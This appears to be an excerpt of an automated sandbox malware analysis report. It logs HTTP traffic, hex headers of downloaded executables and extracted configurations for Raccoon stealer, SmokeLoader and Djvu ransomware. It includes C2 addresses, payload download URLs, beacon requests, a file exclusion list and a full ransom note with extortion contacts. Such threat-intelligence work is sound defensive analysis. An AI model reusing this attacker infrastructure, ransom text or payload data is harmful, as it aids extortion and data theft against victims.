Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 03 Oct 2022 15:35:26 GMTContent-Type: application/octet-streamContent-Length: 80128Connection: keep-aliveLast-Modified: Sat, 28 May 2022 16:52:46 GMTETag: "6292535e-13900"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 95 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 74 28 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 00 3f 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 03 Oct 2022 15:35:28 GMTContent-Type: application/octet-streamContent-Length: 627128Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 14:39:36 GMTETag: "62543da8-991b8"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d4 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 18 08 00 00 56 01 00 00 00 00 00 b0 2f 04 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 09 00 00 04 00 00 ed ee 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 ad bc 08 00 63 51 00 00 10 0e 09 00 2c 01 00 00 00 70 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 72 09 00 b8 1f 00 00 00 80 09 00 34 43 00 00 1c b0 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 57 08 00 18 00 00 00 68 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 13 09 00 d8 03 00 00 90 b7 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d1 16 08 00 00 10 00 00 00 18 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9c ff 00 00 00 30 08 00 00 00 01 00 00 1c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 1c 00 00 00 30 09 00 00 04 00 00 00 1c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 50 09 00 00 02 00 00 00 20 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 60 09 00 00 02 00 00 00 22 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 70 09 00 00 0a 00 00 00 24 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 43 00 00 00 80 09 00 00 44 00 00 00 2e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 03 Oct 2022 15:35:31 GMTContent-Type: application/octet-streamContent-Length: 684984Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 14:40:08 GMTETag: "62543dc8-a73b8"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 26 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 1a 08 00 00 36 02 00 00 00 00 00 b0 1f 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 e0 0a 00 00 04 00 00 e9 81 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 34 2c 0a 00 53 00 00 00 87 2c 0a 00 c8 00 00 00 00 a0 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 54 0a 00 b8 1f 00 00 00 b0 0a 00 38 24 00 00 84 26 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 94 2e 0a 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d5 19 08 00 00 10 00 00 00 1a 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 30 08 00 00 08 02 00 00 1e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 40 0a 00 00 02 00 00 00 26 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 90 0a 00 00 02 00 00 00 28 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 a0 0a 00 00 04 00 00 00 2a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 38 24 00 00 00 b0 0a 00 00 26 00 00 00 2e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 03 Oct 2022 15:35:31 GMTContent-Type: application/octet-streamContent-Length: 254392Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 14:39:58 GMTETag: "62543dbe-3e1b8"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 27 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f2 00 00 00 00 00 00 80 ce 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 a1 de 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 74 76 03 00 53 01 00 00 c7 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c2 03 00 b8 1f 00 00 00 c0 03 00 98 35 00 00 68 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 44 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 ca 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 04 ac 00 00 00 e0 02 00 00 ae 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 98 35 00 00 00 c0 03 00 00 36 00 00 00 8c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 03 Oct 2022 15:35:32 GMTContent-Type: application/octet-streamContent-Length: 1099223Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 12:28:56 GMTETag: "62541f08-10c5d7"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 22 a9 2c 62 00 76 0e 00 b2 13 00 00 e0 00 06 21 0b 01 02 19 00 0c 0b 00 00 fa 0c 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 20 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 0f 00 00 06 00 00 c8 9d 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 0c 00 6e 2a 00 00 00 e0 0c 00 d0 0c 00 00 00 10 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0d 00 e0 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c e2 0c 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ac 0a 0b 00 00 10 00 00 00 0c 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 20 0b 00 00 28 00 00 00 12 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 10 44 01 00 00 50 0b 00 00 46 01 00 00 3a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 a0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 6e 2a 00 00 00 b0 0c 00 00 2c 00 00 00 80 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 e0 0c 00 00 0e 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 f0 0c 00 00 02 00 00 00 ba 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 00 0d 00 00 02 00 00 00 bc 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 10 0d 00 00 06 00 00 00 be 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 e0 3b 00 00 00 20 0d 00 00 3c 00 00 00 c4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 60 0d 00 00 06 00 00 00 00 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 70 0d 00 00 ca 00 00 00 06 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 40 0e 00 00 28 00 00 00 d0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cubye.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 176Host: furubujjul.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yesum.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 347Host: furubujjul.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jigwqmj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 125Host: furubujjul.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://itraykmwbj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: furubujjul.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hrnurk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 336Host: furubujjul.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ycrqve.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 304Host: furubujjul.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://emgsptlj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 296Host: furubujjul.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cuxke.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 148Host: furubujjul.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sgmgrm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 128Host: furubujjul.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qxeovi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 364Host: furubujjul.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atioeij.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 190Host: furubujjul.net

Source: C:\Users\user\AppData\Local\Temp\959.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\253.exe	Joe Sandbox ML: detected

Source: 0000000F.00000002.427521225.000000000076E000.00000004.00000010.00020000.00000000.sdmp	Malware Configuration Extractor: Raccoon {"C2 url": ["http://193.38.55.180/"], "Bot ID": "1a17d9aed7a239440deb75d7a177f406", "RC4_key1": "1a17d9aed7a239440deb75d7a177f406"}
Source: 0000000B.00000002.472600397.0000000000640000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://hulimudulinu.net/", "http://stalnnuytyt.org/", "http://gulutina49org.org/", "http://furubujjul.net/", "http://starvestitibo.org/", "http://liubertiyyyul.net/", "http://bururutu44org.org/", "http://youyouumenia5.org/", "http://nvulukuluir.net/", "http://nuluitnulo.me/", "http://guluiiiimnstra.net/"]}
Source: 18.2.253.exe.400000.0.unpack	Malware Configuration Extractor: Djvu {"Download URLs": ["http://rgyui.top/dl/build2.exe", "http://winnlinne.com/files/1/build3.exe"], "C2 url": "http://winnlinne.com/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-g28rVcqA58\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@bestyourmail.ch\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0573Jhyjd", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: SERVERIUS-ASNL SERVERIUS-ASNL

Source: Joe Sandbox View	IP Address: 104.21.93.30 104.21.93.30
Source: Joe Sandbox View	IP Address: 104.21.93.30 104.21.93.30

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll HTTP/1.1Content-Type: text/plain;User-Agent: TakeMyPainBackHost: 193.38.55.180Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll HTTP/1.1Content-Type: text/plain;User-Agent: TakeMyPainBackHost: 193.38.55.180Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll HTTP/1.1Content-Type: text/plain;User-Agent: TakeMyPainBackHost: 193.38.55.180Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll HTTP/1.1Content-Type: text/plain;User-Agent: TakeMyPainBackHost: 193.38.55.180Connection: Keep-AliveCache-Control: no-cache
